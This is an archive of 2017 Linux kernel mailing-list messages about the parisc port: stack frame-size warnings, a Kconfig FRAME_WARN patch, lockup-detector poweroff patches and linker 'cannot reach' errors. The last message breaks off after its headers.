Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 11 22:16:47 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1drV8E-0000Oc-3p
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Sep 2017 22:16:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750985AbdIKUQl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Sep 2017 16:16:41 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:42544 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750937AbdIKUQl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Sep 2017 16:16:41 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 1C27790150;
        Mon, 11 Sep 2017 23:16:39 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 0846A221894; Mon, 11 Sep 2017 23:16:37 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 1A04E2203F2;
        Mon, 11 Sep 2017 23:16:37 +0300 (EEST)
In-Reply-To: <20170911194143.GA17131@ls3530.fritz.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27797 gmane.linux.kernel:2568374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27797>

> Meelis, this patch should fix both issues.
> Can you test?

At least one of the warnings is still there - but I am on a 64-bit 
kernel on RP3440, RP3410 and A500 where I saw this.
> 
> Helge
> 
> [PATCH] parisc: Fix too large frame size warnings
> 
> The parisc architecture requires larger stack frames than most other
> architectures on 32-bit kernels.
> Increase the default to 1280 bytes for parisc to avoid warnings in
> do_sys_poll() and pat_memconfig() functions.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
> index b19c491cbc4e..2689b7c50c52 100644
> --- a/lib/Kconfig.debug
> +++ b/lib/Kconfig.debug
> @@ -219,7 +219,8 @@ config FRAME_WARN
>  	range 0 8192
>  	default 0 if KASAN
>  	default 2048 if GCC_PLUGIN_LATENT_ENTROPY
> -	default 1024 if !64BIT
> +	default 1280 if (!64BIT && PARISC)
> +	default 1024 if (!64BIT && !PARISC)
>  	default 2048 if 64BIT
>  	help
>  	  Tell gcc to warn at build time for stack frames larger than this.
> 

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [patch V2 03/29] lockup_detector: Provide interface to stop from
 poweroff()
Date: Tue, 12 Sep 2017 21:36:57 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <20170912194146.327343752@linutronix.de>
References: <20170912193654.321505854@linutronix.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
X-Trace: blaine.gmane.org 1505246026 26856 195.159.176.226 (12 Sep 2017 19:53:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Sep 2017 19:53:46 +0000 (UTC)
User-Agent: quilt/0.63-1
Cc: Ingo Molnar <mingo@kernel.org>,
        Peter Zijlstra <peterz@infradead.org>,
        Borislav Petkov <bp@alien8.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Sebastian Siewior <bigeasy@linutronix.de>,
        Nicholas Piggin <npiggin@gmail.com>,
        Don Zickus <dzickus@redhat.com>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Ulrich Obergfell <uobergfe@redhat.com>,
        linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 12 21:53:40 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1drrFK-0005sL-MW
	for glk-linux-kernel-3@m.gmane.org; Tue, 12 Sep 2017 21:53:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752074AbdILTx1 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 12 Sep 2017 15:53:27 -0400
Original-Received: from Galois.linutronix.de ([146.0.238.70]:36301 "EHLO
        Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751544AbdILTtW (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 12 Sep 2017 15:49:22 -0400
Original-Received: from localhost ([127.0.0.1] helo=[127.0.1.1])
        by Galois.linutronix.de with esmtp (Exim 4.80)
        (envelope-from <tglx@linutronix.de>)
        id 1drr9Q-0002D0-9P; Tue, 12 Sep 2017 21:47:16 +0200
Content-Disposition: inline;
 filename=lockup_detector_Provide_interface_to_stop_from_poweroff().patch
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2568975 gmane.linux.ports.parisc:27798
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2568975>

PARISC has a a busy looping power off routine. If the watchdog is enabled
the watchdog timer will still fire, but the thread is not running, which
causes the softlockup watchdog to trigger.

Provide a interface which allows to turn the watchdog off.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Don Zickus <dzickus@redhat.com>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: linux-parisc@vger.kernel.org
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Sebastian Siewior <bigeasy@linutronix.de>
Cc: Nicholas Piggin <npiggin@gmail.com>
Cc: Ulrich Obergfell <uobergfe@redhat.com>
Cc: Borislav Petkov <bp@alien8.de>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Helge Deller <deller@gmx.de>
Link: http://lkml.kernel.org/r/20170831073053.202164272@linutronix.de

---
 include/linux/nmi.h |    6 +++---
 kernel/watchdog.c   |   14 +++++++++++++-
 2 files changed, 16 insertions(+), 4 deletions(-)

--- a/include/linux/nmi.h
+++ b/include/linux/nmi.h
@@ -12,10 +12,10 @@
 
 #ifdef CONFIG_LOCKUP_DETECTOR
 void lockup_detector_init(void);
+void lockup_detector_soft_poweroff(void);
 #else
-static inline void lockup_detector_init(void)
-{
-}
+static inline void lockup_detector_init(void) { }
+static inline void lockup_detector_soft_poweroff(void) { }
 #endif
 
 #ifdef CONFIG_SOFTLOCKUP_DETECTOR
--- a/kernel/watchdog.c
+++ b/kernel/watchdog.c
@@ -333,7 +333,8 @@ static enum hrtimer_restart watchdog_tim
 	int duration;
 	int softlockup_all_cpu_backtrace = sysctl_softlockup_all_cpu_backtrace;
 
-	if (atomic_read(&watchdog_park_in_progress) != 0)
+	if (!watchdog_enabled ||
+	    atomic_read(&watchdog_park_in_progress) != 0)
 		return HRTIMER_NORESTART;
 
 	/* kick the hardlockup detector */
@@ -660,6 +661,17 @@ static void set_sample_period(void)
 }
 #endif /* SOFTLOCKUP */
 
+/**
+ * lockup_detector_soft_poweroff - Interface to stop lockup detector(s)
+ *
+ * Special interface for parisc. It prevents lockup detector warnings from
+ * the default pm_poweroff() function which busy loops forever.
+ */
+void lockup_detector_soft_poweroff(void)
+{
+	watchdog_enabled = 0;
+}
+
 /*
  * Suspend the hard and soft lockup detector by parking the watchdog threads.
  */




From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [patch V2 04/29] parisc: Use lockup_detector_stop()
Date: Tue, 12 Sep 2017 21:36:58 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20170912194146.407385557@linutronix.de>
References: <20170912193654.321505854@linutronix.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
X-Trace: blaine.gmane.org 1505246046 30238 195.159.176.226 (12 Sep 2017 19:54:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Sep 2017 19:54:06 +0000 (UTC)
User-Agent: quilt/0.63-1
Cc: Ingo Molnar <mingo@kernel.org>,
        Peter Zijlstra <peterz@infradead.org>,
        Borislav Petkov <bp@alien8.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Sebastian Siewior <bigeasy@linutronix.de>,
        Nicholas Piggin <npiggin@gmail.com>,
        Don Zickus <dzickus@redhat.com>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Ulrich Obergfell <uobergfe@redhat.com>,
        linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 12 21:53:55 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1drrFQ-00066a-GT
	for glk-linux-kernel-3@m.gmane.org; Tue, 12 Sep 2017 21:53:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752089AbdILTxd (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 12 Sep 2017 15:53:33 -0400
Original-Received: from Galois.linutronix.de ([146.0.238.70]:36294 "EHLO
        Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751540AbdILTtV (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 12 Sep 2017 15:49:21 -0400
Original-Received: from localhost ([127.0.0.1] helo=[127.0.1.1])
        by Galois.linutronix.de with esmtp (Exim 4.80)
        (envelope-from <tglx@linutronix.de>)
        id 1drr9R-0002D8-Kg; Tue, 12 Sep 2017 21:47:17 +0200
Content-Disposition: inline; filename=parisc_Use_lockup_detector_stop().patch
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2568976 gmane.linux.ports.parisc:27799
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2568976>

The broken lockup_detector_suspend/resume() interface is going away. Use
the new lockup_detector_soft_poweroff() interface to stop the watchdog from
the busy looping power off routine.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Don Zickus <dzickus@redhat.com>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: linux-parisc@vger.kernel.org
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Sebastian Siewior <bigeasy@linutronix.de>
Cc: Nicholas Piggin <npiggin@gmail.com>
Cc: Ulrich Obergfell <uobergfe@redhat.com>
Cc: Borislav Petkov <bp@alien8.de>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Helge Deller <deller@gmx.de>
Link: http://lkml.kernel.org/r/20170831073053.281414373@linutronix.de

---
 arch/parisc/kernel/process.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -146,7 +146,7 @@ void machine_power_off(void)
 
 	/* prevent soft lockup/stalled CPU messages for endless loop. */
 	rcu_sysrq_start();
-	lockup_detector_suspend();
+	lockup_detector_soft_poweroff();
 	for (;;);
 }
 




From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: fs/select.c:991:1: warning: the frame size of 1032 bytes is
 larger than 1024 bytes
Date: Wed, 13 Sep 2017 00:12:14 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <7eba246c-c2bd-4d47-41a8-93e43239bb02@gmx.de>
References: <alpine.LRH.2.21.1709111719310.23935@math.ut.ee>
 <20170911194143.GA17131@ls3530.fritz.box>
 <alpine.LRH.2.21.1709112315350.7844@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1505254348 13188 195.159.176.226 (12 Sep 2017 22:12:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Sep 2017 22:12:28 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: linux-parisc@vger.kernel.org,
        Linux Kernel list <linux-kernel@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 13 00:12:23 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1drtPl-0002tY-DX
	for glk-linux-kernel-3@m.gmane.org; Wed, 13 Sep 2017 00:12:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751654AbdILWMX (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 12 Sep 2017 18:12:23 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:51687 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750988AbdILWMT (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 12 Sep 2017 18:12:19 -0400
Original-Received: from [192.168.20.60] ([193.159.21.133]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LwIuc-1dMcjZ0exK-0186PR; Wed, 13
 Sep 2017 00:12:15 +0200
In-Reply-To: <alpine.LRH.2.21.1709112315350.7844@math.ut.ee>
Content-Language: en-US
X-Provags-ID: V03:K0:Zn8Efc54D8XSlQBzggfRpFjRkUpiDrrJCohlasiQWoSMn/BpJ8y
 8hjbepJSu0ccN1p4AZ05JxYQkJ2lOFd3MqgFYEkg4EpdLnGNUSztu6iNFYWlyodzZXvLyRI
 Vq0pbZ2wykUxeTU+IX9MjbL4B5dRz8OvWZ48r8Ie5mdParlmCzrec2QhggCIEIkm97daYyS
 Nr9iNCN6C5suOv1cSf8/g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:dhdllYnIXzI=:ZSkuQnbowO3GV8qm/fwXUI
 RBQjlIg1LfAJu4KxFyIXZlWeaY3cxoDVyZuHBL5CAUw6pSzu+lk/sl34C1ND43Eo9Sg/ALYV/
 HNw+p//MzxZYCUfiu9wJpzOooPR+bbqbSxLlMDYjpWgOhmLxtwHx+zpB1owiwhnav9gp0i6o+
 uQzxjZ0kSfghw3WvPe1gMtwSvfA3yTydyYUVWQP2eWJHkm4KKHQf86onD9+h2W26x3y1cocMa
 KkMrTwFaiyVF9lpl5sg7Vgg+pNLhtrgtWgI+tHniV1QWCjUQGPUjDJpSPbffJ+/g5U264AWDw
 Fu4/LOy7itwDKb+oDnggfCyXXLxjAkp2RRTzR0YoLYgXDiX1/kP61BHCc+3DV/wOkL1/vzkfw
 5aHjfiLdBRUbiI2Zi/SmPpnBIDV0ftlS8qKUEz8zo7vpjjy7vQzqwwyxdoQGdJbA3nTke0Jch
 90buU+h89BZ0mrK0Bs1+dZsf5Y0GI8ZmG5ibrCUrQS/EjSRHvEnqy4IWxYA6ZSRy05HQhuHAV
 PTSHcNLSmc7oPzL4GQ6kODsWwCHMIG0CsUsTR96h2bkiE/famxvdV/yMuCyfaqHHvMBu4Fzzy
 BmOHciZNCWxyGjyIgyqN2wyXTpdTS6eeltt7KWt24bEHueD+2BYJ+PWXBvu5d9DdAr7zjFUVk
 Jvmg2q8jWHknfjuQeq9kJBSArTz2zCxUQmbyU+Py/OOB3p8yo5gNtvb9ykLvpg16iaNLSJHXS
 PgAkx+izU9Qm6S1Cq1OHRTqzw6bV7wcTTvHumSwyylwKNujxwVe4lPb7nw/AarT6oV2mFr3f 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2569041 gmane.linux.ports.parisc:27800
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2569041>

On 11.09.2017 22:16, Meelis Roos wrote:
>> Meelis, this patch should fix both issues.
>> Can you test?
> 
> At least one of the warnings is still there - but I am on a 64-bit
> kernel on RP3440, RP3410 and A500 where I saw this.

Details?
The ones you sent were 32bit issues (with 1024 bytes frame-size-warning):
fs/select.c:991:1: warning: the frame size of 1032 bytes is larger than 1024 bytes [-Wframe-larger-than=]
arch/parisc/kernel/inventory.c:359:1: warning: the frame size of 1120 bytes is larger than 1024 bytes [-Wframe-larger-than=]

Helge


>>
>> Helge
>>
>> [PATCH] parisc: Fix too large frame size warnings
>>
>> The parisc architecture requires larger stack frames than most other
>> architectures on 32-bit kernels.
>> Increase the default to 1280 bytes for parisc to avoid warnings in
>> do_sys_poll() and pat_memconfig() functions.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
>> index b19c491cbc4e..2689b7c50c52 100644
>> --- a/lib/Kconfig.debug
>> +++ b/lib/Kconfig.debug
>> @@ -219,7 +219,8 @@ config FRAME_WARN
>>   	range 0 8192
>>   	default 0 if KASAN
>>   	default 2048 if GCC_PLUGIN_LATENT_ENTROPY
>> -	default 1024 if !64BIT
>> +	default 1280 if (!64BIT && PARISC)
>> +	default 1024 if (!64BIT && !PARISC)
>>   	default 2048 if 64BIT
>>   	help
>>   	  Tell gcc to warn at build time for stack frames larger than this.
>>
> 



From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel/inventory.c:359:1: warning: the frame size of 1120 bytes is
 larger than 1024 bytes
Date: Mon, 11 Sep 2017 17:19:29 +0300 (EEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.21.1709111717300.23935@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1505325490 12569 195.159.176.226 (13 Sep 2017 17:58:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 13 Sep 2017 17:58:10 +0000 (UTC)
User-Agent: Alpine 2.21 (LRH 202 2017-01-01)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 11 16:19:46 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1drPYb-0007u4-QQ
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Sep 2017 16:19:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750969AbdIKOTd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Sep 2017 10:19:33 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:46012 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750807AbdIKOTd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Sep 2017 10:19:33 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id D98CB73D8A2
        for <linux-parisc@vger.kernel.org>; Mon, 11 Sep 2017 17:19:31 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id C69E6221A21; Mon, 11 Sep 2017 17:19:29 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id DDB9D221823
        for <linux-parisc@vger.kernel.org>; Mon, 11 Sep 2017 17:19:29 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27801

While looking for build lgos for my linke problem, I noticed two other 
warning on parisc-specific code. This is first of them:

  CC      arch/parisc/kernel/hardware.o
  CC      arch/parisc/kernel/inventory.o
arch/parisc/kernel/inventory.c: In function 'pat_memconfig':
arch/parisc/kernel/inventory.c:359:1: warning: the frame size of 1120 bytes is larger than 1024 bytes [-Wframe-larger-than=]


-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 4.14 git: massive linker failures: cannot reach anything
Date: Mon, 11 Sep 2017 17:45:29 +0300 (EEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.21.1709111730140.23935@math.ut.ee>
References: <alpine.LRH.2.21.1709111713220.23935@math.ut.ee> <bd823006-04ae-0af3-30fb-10989a9729cc@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1505325624 23305 195.159.176.226 (13 Sep 2017 18:00:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 13 Sep 2017 18:00:24 +0000 (UTC)
User-Agent: Alpine 2.21 (LRH 202 2017-01-01)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 11 16:45:28 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1drPxl-0005Di-HY
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Sep 2017 16:45:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750975AbdIKOpd convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Sep 2017 10:45:33 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:55663 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750940AbdIKOpc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Sep 2017 10:45:32 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 55CE39009A;
        Mon, 11 Sep 2017 17:45:31 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 47E2B221A21; Mon, 11 Sep 2017 17:45:29 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 8D6C0221823;
        Mon, 11 Sep 2017 17:45:29 +0300 (EEST)
In-Reply-To: <bd823006-04ae-0af3-30fb-10989a9729cc@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27802

> > hppa64-linux-ld: init/main.o(.text+0x22c): cannot reach
> > __ubsan_handle_type_mismatch
> > init/main.o: In function `initcall_blacklisted':(.text+0x22c): relocation
> > truncated to fit: R_PARISC_PCREL22F against symbol
> > `__ubsan_handle_type_mismatch' defined in .text.__ubsan_handle_type_mismatch
> > section in lib/ubsan.o
> > 
> > and so on for pages, more than my terminal scrollback provides.
> As far as gcc goes, you need to add -mlong-calls to avoid these errors.  I
> think there is a config option. The kernel is too big and some "b,l" branches
> can't reach their targets.

Thank you, yes, I found CONFIG_MLONGCALLS for that.

However, the next strange thing is why did custom kernels of multiple 
different machines grew so much (A500 UP and RP3440 SMP kernels)? My 
kernel configs are quite minimalistic anyway, except I include 
everything needed for booting (no dependenc on initramfs, so sd, scsi 
driver and ext4 are in). Perhaps a binary format or two, PDC stable 
storage and anothe IO schaduler too, and some kernel debugging options 
like UBSAN.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [patch V2 04/29] parisc: Use lockup_detector_stop()
Date: Thu, 14 Sep 2017 10:59:17 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20170914085917.GA24723@ls3530>
References: <20170912193654.321505854@linutronix.de>
 <20170912194146.407385557@linutronix.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505379630 13507 195.159.176.226 (14 Sep 2017 09:00:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 14 Sep 2017 09:00:30 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: LKML <linux-kernel@vger.kernel.org>,
        Ingo Molnar <mingo@kernel.org>,
        Peter Zijlstra <peterz@infradead.org>,
        Borislav Petkov <bp@alien8.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Sebastian Siewior <bigeasy@linutronix.de>,
        Nicholas Piggin <npiggin@gmail.com>,
        Don Zickus <dzickus@redhat.com>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Ulrich Obergfell <uobergfe@redhat.com>,
        linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 14 11:00:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dsQ0R-0002tz-Qi
	for glpp-linux-parisc@m.gmane.org; Thu, 14 Sep 2017 11:00:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751413AbdINJA1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 14 Sep 2017 05:00:27 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:62082 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751193AbdINJA0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 14 Sep 2017 05:00:26 -0400
Original-Received: from ls3530 ([213.144.7.21]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lwnem-1dLY3f2YAK-016OW5; Thu, 14
 Sep 2017 10:59:23 +0200
Content-Disposition: inline
